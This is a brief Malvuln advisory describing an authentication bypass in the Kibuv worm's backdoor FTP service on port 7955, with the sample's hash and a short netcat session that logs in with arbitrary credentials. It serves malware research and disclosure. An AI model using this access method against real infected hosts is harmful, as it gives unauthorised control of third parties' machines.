Discovery / credits: Malvuln - (c) 2022  
Original source:  
Threat: Net-Worm.Win32.Kibuv.c  
Vulnerability: Authentication Bypass  
Description: The malware listens on TCP port 7955. Third-party adversaries who can reach infected systems can logon using any username/password combination.  
Family: Kibuv  
Type: PE32  
MD5: 4243911d5ca5655d04de8895704fcae6  
Vuln ID: MVID-2022-0563  
Disclosure: 04/26/2022  
C:\>nc64.exe x.x.x.x 7955  
220 StnyFtpd 0wns j0  
USER malvuln  
331 Password required  
PASS malvuln  
230 User logged in.  
215 StnyFtpd  
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